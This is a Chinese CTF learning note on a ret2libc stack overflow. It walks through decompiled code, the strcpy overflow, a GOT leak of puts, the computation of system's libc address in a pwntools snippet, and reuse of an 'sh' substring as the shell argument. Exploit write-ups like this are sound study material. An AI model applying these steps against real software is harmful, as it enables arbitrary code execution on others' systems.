栈溢出-ret2libc地址泄露笔记
作为一名初学者,在碰到很多攻击思路的时候会感觉很妙,比如gadget的构造,这题的sh参数截断。
1、首先分析程序架构和保护措施。

2、使用IDA开始判断程序是否具备最简单的栈溢出执行条件:
- ret2text:不具备,没有shell可执行代码
- ret2shellcode:不具备写入全局区域的入口


- 没有bin/bash可用,也没有system函数可以调用
- 没有完整gadget构造链
3、执行程序,通过IDA分析main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v3; // ST04_4
int v4; // ST08_4
char src; // [esp+12h] [ebp-10Eh]
char buf; // [esp+112h] [ebp-Eh]
int v8; // [esp+11Ch] [ebp-4h] puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, &buf, 0xAu);
v8 = strtol(&buf, v3, v4);
See_something(v8);
printf("Leave some message for me :");
fflush(stdout);
read(0, &src, 0x100u);
Print_message(&src);
puts("Thanks you ~");
return 0;
}
程序首先输出一段文字,然后提醒输入内存地址来查看该地址的内容,通过See_something函数实现。
See_something函数如下:
int __cdecl See_something(_DWORD *a1)
{
return printf("The content of the address : %p\n", *a1);
}
然后读取字符串写入&src,然后将&src指针参数传递给Print_message函数
read(0, &src, 0x100u);
Print_message(&src);
查看Print_message(&src)代码。通过strcpy,将src中的内容拷贝到dest的内存空间中
int __cdecl Print_message(char *src)
{
char dest; // [esp+10h] [ebp-38h] strcpy(&dest, src);
return printf("Your message is : %s", &dest);
}
Print_message存在栈溢出点,由于src的可写入空间是0x100,而dest的内存空间只有0x38,通过strcpy可以覆盖ret地址。
4、完整攻击思路:
(1)通过第一次程序读取任意内存位置内容,来读取程序got表中的puts函数实际地址。在程序第一次调用puts函数时,函数指针指向plt,所以通过执行完一次puts后,再读取got表中的实际地址;
(2)由于puts函数地址随机性,通过提供的libc文件计算,puts函数和system函数的偏移量,这两步最终就是为了得到libc中实际的system函数地址;
(3)通过strcpy栈溢出覆盖ret address,让函数ret指向上面已经拿到的system函数;
(4)system函数的参数“sh”并不能在程序中找到,但是可以使用包含sh的任意字符串截断形成参数(这一步太妙了);
5、先简单的画一个堆栈图


当开始执行Print_message(&src)函数的时候,看到esp+0x12的内存地址写入了eax,然后再最终写入当前的esp。也就是将src的内存地址压栈。
0x804864b <main+206> lea eax, [esp + 0x12]
0x804864f <main+210> mov dword ptr [esp], eax
然后执行call Print_message,自动将下一行地址8048657(也就是ret address)push到堆栈,然后进入Print_message开始push ebp,并提升栈底,创建新的堆栈空间。
所以最终在Print_message函数中堆栈图是这样

将程序停留到strcpy执行完后的下一行,不要退出Print_message,观察堆栈情况。

所以要达到能覆盖ret的长度是0xffffd7ec-0xffffd7b0
ret需要指向的system函数地址,通过libc偏移计算,借助pwntools,得到system函数在libc中的实际地址。也可以直接用ida加载libc.so计算。
libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")
//先得到puts的got地址
puts_gots_address = elf.got["puts"]
//读取puts地址中实际的puts地址
r.sendline(str(puts_gots_address))
s = r.recv()
puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16)
//通过偏移计算得到system在libc中的真实地址
offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"]
system_libc_address = puts_libc_address + offset_libc_address
最后需要找到system函数需要的sh参数
如下图,这里使用fflush字符串的截断,是0x0804829E位置的sh。

然后就可以构造payload,得到shell。

栈溢出-ret2libc地址泄露笔记的更多相关文章
- mac地址学习笔记
MAC(Media Access Control或者Medium Access Control)地址, 意译为媒体访问控制,或称为物理地址.硬件地址,用来定义网络设备的位置. 在OSI模型中,第三层网 ...
- aspcms逻辑错误导致后台地址泄露
访问即可跳转后台地址: URL:http://www.xxx.org.cn/plug/oem/AspCms_OEMFun.asp 注入:plug/comment/commentList.asp?id= ...
- ONVIFclient搜索设备获取rtsp地址开发笔记(精华篇)
概要: 眼下ONVIF协议家族设备已占领数字监控行业半壁江山以上.亲,作为开发人员的你还在犹豫是否了解下吗?本文介绍了ONVIFclient从设备搜索,鉴权,能力获取,媒体信息获取 ...
- RK3288以太网的mac地址调试笔记【学习笔记】【原创】
平台信息:内核:linux3.1.0系统:android/android6.0平台:RK3288 作者:庄泽彬(欢迎转载,请注明作者) 邮箱:2760715357@qq.com 说明:提供以太网mac ...
- ONVIF客户端搜索设备获取rtsp地址开发笔记(精华篇)
原文 http://blog.csdn.net/gubenpeiyuan/article/details/25618177 概要: 目前ONVIF协议家族设备已占据数字监控行业半壁江山以上,亲, ...
- 【视频开发】ONVIF客户端搜索设备获取rtsp地址开发笔记(精华篇)
转载地址:http://blog.csdn.net/gubenpeiyuan/article/details/25618177 概要: 目前ONVIF协议家族设备已占据数字监控行业 ...
- IPV4地址学习笔记
IP地址由网络号和主机号组成.IPV4由32位正整数来表示. A类IP:8位网络号+24主机号,网络号以0开头,网络号范围0~127 B类IP:16位网络号+16主机号,网络号以10开头,网络号范围1 ...
- 《Linux就该这么学》培训笔记_ch14_使用DHCP动态管理主机地址
<Linux就该这么学>培训笔记_ch14_使用DHCP动态管理主机地址 文章最后会post上书本的笔记照片. 文章主要内容: 动态主机地址管理协议 部署dhcpd服务程序 自动管理IP地 ...
- IronPython .NET Integration官方文档翻译笔记
http://ironpython.net/documentation/dotnet/这是原文地址 以下笔记仅记录阅读过程中我认为有必要记录的内容,大多数都是依赖翻译软件的机翻,配合个人对代码的理解写 ...
- 《Python 数据科学实践指南》读书笔记
文章提纲 全书总评 C01.Python 介绍 Python 版本 Python 解释器 Python 之禅 C02.Python 基础知识 基础知识 流程控制: 函数及异常 函数: 异常 字符串 获 ...
随机推荐
- [转帖]【sql server安全】sql server连接加密,sql server SSL加密连接
https://www.cnblogs.com/gered/p/13595098.html#_label1_0 MSSQL - 最佳实践 - 使用SSL加密连接 回到顶部 author: 风移 回到顶 ...
- [转帖]Linux nice和renice命令:改变进程优先级
https://c.biancheng.net/view/1074.html 当 Linux 内核尝试决定哪些运行中的进程可以访问 CPU 时,其中一个需要考虑的因素就是进程优先级的值(也称为 nic ...
- [转帖]linux--Segfault详解
linux--Segfault详解 1 简介 1.1 段错误的定义 1.2 痛点 2 知识点 2.1 报错内容 2.2 error number 3 排除步骤(借助汇编) 3.1 日志确定错误类型 3 ...
- [转帖]「Linux性能调优」磁盘I/O队列调度策略
https://zhuanlan.zhihu.com/p/450329513 傻瓜化说明 简单地说,对于磁盘I/O,Linux提供了cfq, deadline和noop三种调度策略 cfq: 这个名字 ...
- [转帖]docker编译speccpu2017
实验步骤: 1.下载docker和speccpu2017 2.docker下载镜像,创建容器 3.将下载的宿主机speccpu2017拷贝到docker创建的容器中(docker cp) 4.在doc ...
- Unity下调试ToLua(基于IDEA和VSCode)
公司移动端项目是基于Unity的,底层支持由C#提供,上层Lua调用C#中注册的函数支持来做业务逻辑,框架用的是ToLua.开始做移动端有一段时间了,一直都觉得调试代码是个很蛋疼的体验:几乎都是靠肉眼 ...
- ELK运维文档
Logstash 目录 Logstash Monitoring API Node Info API Plugins Info API Node Stats API Hot Threads API lo ...
- 【发现一个问题】extjs-gpl-7.0: 当修改 store 对象的字段后,再次 loadPage() 后字段映射错误。
作者:张富春(ahfuzhang),转载时请注明作者和引用链接,谢谢! cnblogs博客 zhihu Github 公众号:一本正经的瞎扯 因为查询中需要每次返回数目不确定的 fields ,这就需 ...
- Gorm 入门介绍与基本使用
Gorm 入门介绍与基本使用 目录 Gorm 入门介绍与基本使用 一.ORM简介 1.1 什么是ORM 1.2 使用ORM的好处 1.2.1 避免直接操作SQL语句 1.2.2 提高代码的可维护性 1 ...
- 热门数据集提供【MNIST、鸢尾花、猫狗、CIFAR10、vegetables、Ox-Flowers17、pascalvoc】
热门数据集提供[MNIST.鸢尾花.猫狗.CIFAR10.vegetables.Ox-Flowers17.pascalvoc] 简介: 鸢尾花数据集: 约150条数据,每条样本4个属性,共3个类别 M ...